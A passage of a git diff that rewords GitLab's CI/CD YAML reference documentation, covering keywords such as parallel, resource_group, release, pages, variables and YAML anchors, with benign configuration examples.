[`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. | +| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. | +| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. | +| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. | | [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast) **(ULTIMATE)** | The `sast` report collects Static Application Security Testing vulnerabilities. | -| [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. | +| [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. | #### `dependencies` -> Introduced in GitLab 8.6 and GitLab Runner v1.1.1. - By default, all [`artifacts`](#artifacts) from previous [stages](#stages) are passed to each job. However, you can use the `dependencies` keyword to define a limited list of jobs to fetch artifacts from. You can also set a job to download no artifacts at all. @@ -3365,7 +3281,7 @@ surrounding `/` is mandatory to consistently and explicitly represent a regular expression string. You must escape special characters if you want to match them literally. -A simple example: +For example: ```yaml job1: @@ -3435,7 +3351,7 @@ Possible values for `when` are: The test there makes sure that all documented values are valid as a configuration option and therefore should always stay in sync with this documentation. - --> +--> - `always`: Retry on any failure (default). - `unknown_failure`: Retry when the failure reason is unknown. @@ -3478,16 +3394,11 @@ exceed the runner-specific timeout. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21480) in GitLab 11.5. -Use `parallel` to configure how many instances of a job to run in -parallel. This value can be from 2 to 50. - -This creates N instances of the same job that run in parallel. They are named -sequentially from `job_name 1/N` to `job_name N/N`. +Use `parallel` to configure how many instances of a job to run in parallel. +The value can be from 2 to 50. -For every job, `CI_NODE_INDEX` and `CI_NODE_TOTAL` [environment variables](../variables/README.md#predefined-environment-variables) are set. - -Marking a job to be run in parallel requires adding `parallel` to your configuration -file. For example: +The `parallel` keyword creates N instances of the same job that run in parallel. +They are named sequentially from `job_name 1/N` to `job_name N/N`: ```yaml test: @@ -3495,10 +3406,12 @@ test: parallel: 5 ``` -Parallelize tests suites across parallel jobs. -Different languages have different tools to facilitate this. +Every parallel job has a `CI_NODE_INDEX` and `CI_NODE_TOTAL` +[environment variable](../variables/README.md#predefined-environment-variables) set. -A simple example using [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters) and RSpec to run some Ruby tests: +Different languages and test suites have different methods to enable parallelization. +For example, use [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters) +and RSpec to run Ruby tests in parallel: ```ruby # Gemfile @@ -3517,7 +3430,7 @@ test: ``` CAUTION: **Caution:** -Please be aware that semaphore_test_boosters reports usages statistics to the author. +Test Boosters reports usage statistics to the author. You can then navigate to the **Jobs** tab of a new pipeline build and see your RSpec job split into three separate jobs. @@ -3552,7 +3465,8 @@ deploystacks: STACK: [data, processing] ``` -This generates 10 parallel `deploystacks` jobs, each with different values for `PROVIDER` and `STACK`: +This example generates 10 parallel `deploystacks` jobs, each with different values +for `PROVIDER` and `STACK`: ```plaintext deploystacks: [aws, monitoring] @@ -3567,7 +3481,7 @@ deploystacks: [vultr, data] deploystacks: [vultr, processing] ``` -Job naming style [was improved](https://gitlab.com/gitlab-org/gitlab/-/issues/230452) in GitLab 13.4. +The job naming style was [improved in GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/230452). ### `trigger` @@ -3759,7 +3673,7 @@ Set jobs as interruptible that can be safely canceled once started (for instance Pending jobs are always considered interruptible. -Here is a simple example: +For example: ```yaml stages: @@ -3809,7 +3723,7 @@ If multiple jobs belonging to the same resource group are enqueued simultaneousl only one of the jobs is picked by the runner. The other jobs wait until the `resource_group` is free. -Here is a simple example: +For example: ```yaml deploy-to-production: @@ -3820,8 +3734,8 @@ deploy-to-production: In this case, two `deploy-to-production` jobs in two separate pipelines can never run at the same time. As a result, you can ensure that concurrent deployments never happen to the production environment. -There can be multiple `resource_group`s defined per environment. A good use case for this -is when deploying to physical devices. You may have multiple physical devices that +You can define multiple resource groups per environment. For example, +when deploying to physical devices, you may have multiple physical devices. Each device can be deployed to, but there can be only one deployment per device at any given time. The `resource_group` value can only contain letters, digits, `-`, `_`, `/`, `$`, `{`, `}`, `.`, and spaces. @@ -3857,8 +3771,9 @@ image: registry.gitlab.com/gitlab-org/release-cli:latest #### Script -All jobs require a `script` tag at a minimum. A `:release` job can use the output of a -`:script` tag, but if this is not necessary, a placeholder script can be used, for example: +All jobs except [trigger](#trigger) jobs must have the `script` keyword. A `release` +job can use the output from script commands, but a placeholder script can be used if +the script is not needed: ```yaml script: @@ -4018,15 +3933,16 @@ tags. These options cannot be used together, so choose one: #### Release assets as Generic packages You can use [Generic packages](../../user/packages/generic_packages/) to host your release assets. -For a complete example of how to do this, see the [example in the repository](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/). +For a complete example, see the [Release assets as Generic packages](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/) +project. #### `releaser-cli` command line -The entries under the `:release` node are transformed into a `bash` command line and sent +The entries under the `release` node are transformed into a `bash` command line and sent to the Docker container, which contains the [release-cli](https://gitlab.com/gitlab-org/release-cli). You can also call the `release-cli` directly from a `script` entry. -The YAML described above would be translated into a CLI command like this: +For example, using the YAML described above: ```shell release-cli create --name "Release $CI_COMMIT_SHA" --description "Created using the release-cli $EXTRA_DESCRIPTION" --tag-name "v${MAJOR}.${MINOR}.${REVISION}" --ref "$CI_COMMIT_SHA" --released-at "2020-07-15T08:00:00Z" --milestone "m1" --milestone "m2" --milestone "m3" @@ -4090,7 +4006,7 @@ requirements below must be met: - Any static content must be placed under a `public/` directory. - `artifacts` with a path to the `public/` directory must be defined. -The example below simply moves all files from the root of the project to the +The example below moves all files from the root of the project to the `public/` directory. The `.public` workaround is so `cp` does not also copy `public/` to itself in an infinite loop: @@ -4150,7 +4066,7 @@ deploy_review_job: You can use only integers and strings for the variable's name and value. If you define a variable at the top level of the `gitlab-ci.yml` file, it is global, -meaning it applies to all jobs. If you define a variable within a job, it's available +meaning it applies to all jobs. If you define a variable in a job, it's available to that job only. If a variable of the same name is defined globally and for a specific job, the @@ -4190,8 +4106,6 @@ need to be used to merge arrays. ### Anchors -> Introduced in GitLab 8.6 and GitLab Runner v1.1.1. - YAML has a feature called 'anchors' that you can use to duplicate content across your document. @@ -4200,7 +4114,7 @@ to provide templates for your jobs. When there are duplicate keys, GitLab performs a reverse deep merge based on the keys. You can't use YAML anchors across multiple files when leveraging the [`include`](#include) -feature. Anchors are only valid within the file they were defined in. Instead +feature. Anchors are only valid in the file they were defined in. Instead of using YAML anchors, you can use the [`extends` keyword](#extends). The following example uses anchors and map merging. It creates two jobs, @@ -4227,7 +4141,7 @@ test2: `&` sets up the name of the anchor (`job_definition`), `<<` means "merge the given hash into the current one", and `*` includes the named anchor -(`job_definition` again). The expanded version looks like this: +(`job_definition` again). The expanded version of the example above is: ```yaml .job_template: @@ -4253,10 +4167,9 @@ test2: - test2 project ``` -Let's see another example. This time we use anchors to define two sets -of services. This configuration creates two jobs, `test:postgres` and `test:mysql`, that -share the `script` directive defined in `.job_template`, and the `services` -directive defined in `.postgres_services` and `.mysql_services` respectively: +You can use anchors to define two sets of services. For example, `test:postgres` +and `test:mysql` share the `script` defined in `.job_template`, but use different +`services`, defined in `.postgres_services` and `.mysql_services`: ```yaml .job_template: &job_definition @@ -4286,7 +4199,7 @@ test:mysql: services: *mysql_definition ``` -The expanded version looks like this: +The expanded version is: ```yaml .job_template: @@ -4336,13 +4249,13 @@ and [`after_script`](#after_script) to use predefined commands in multiple jobs: ```yaml .some-script: &some-script - - echo "Execute this in `before_script` sections" + - echo "Execute this script in `before_script` sections" .some-script-before: &some-script-before - - echo "Execute this in `script` sections" + - echo "Execute this script in `script` sections" .some-script-after: &some-script-after - - echo "Execute this in `after_script` sections" + - echo "Execute this script in `after_script` sections" job_name: before_script: @@ -4355,8 +4268,8 @@ job_name: #### YAML anchors for variables -[YAML anchors](#anchors) can be used with `variables`, to easily repeat assignment -of variables across multiple jobs. It can also enable more flexibility when a job +[YAML anchors](#anchors) can be used with `variables`, to repeat assignment +of variables across multiple jobs. Use can also use YAML anchors when a job requires a specific `variables` block that would otherwise override the global variables. In the example below, we override the `GIT_STRATEGY` variable without affecting @@ -4379,8 +4292,6 @@ job_no_git_strategy: ### Hide jobs -> Introduced in GitLab 8.6 and GitLab Runner v1.1.1. - If you want to temporarily 'disable' a job, rather than commenting out all the lines where the job is defined: diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md index d7945617dc9..ab5d61cdfc8 100644 --- a/doc/ci/yaml/includes.md +++ b/doc/ci/yaml/includes.md @@ -67,7 +67,7 @@ include: ## Re-using a `before_script` template -In the following example, the content of `.before-script-template.yml` will be +In the following example, the content of `.before-script-template.yml` is automatically fetched and evaluated along with the content of `.gitlab-ci.yml`. Content of `https://gitlab.com/awesome-project/raw/master/.before-script-template.yml`: |
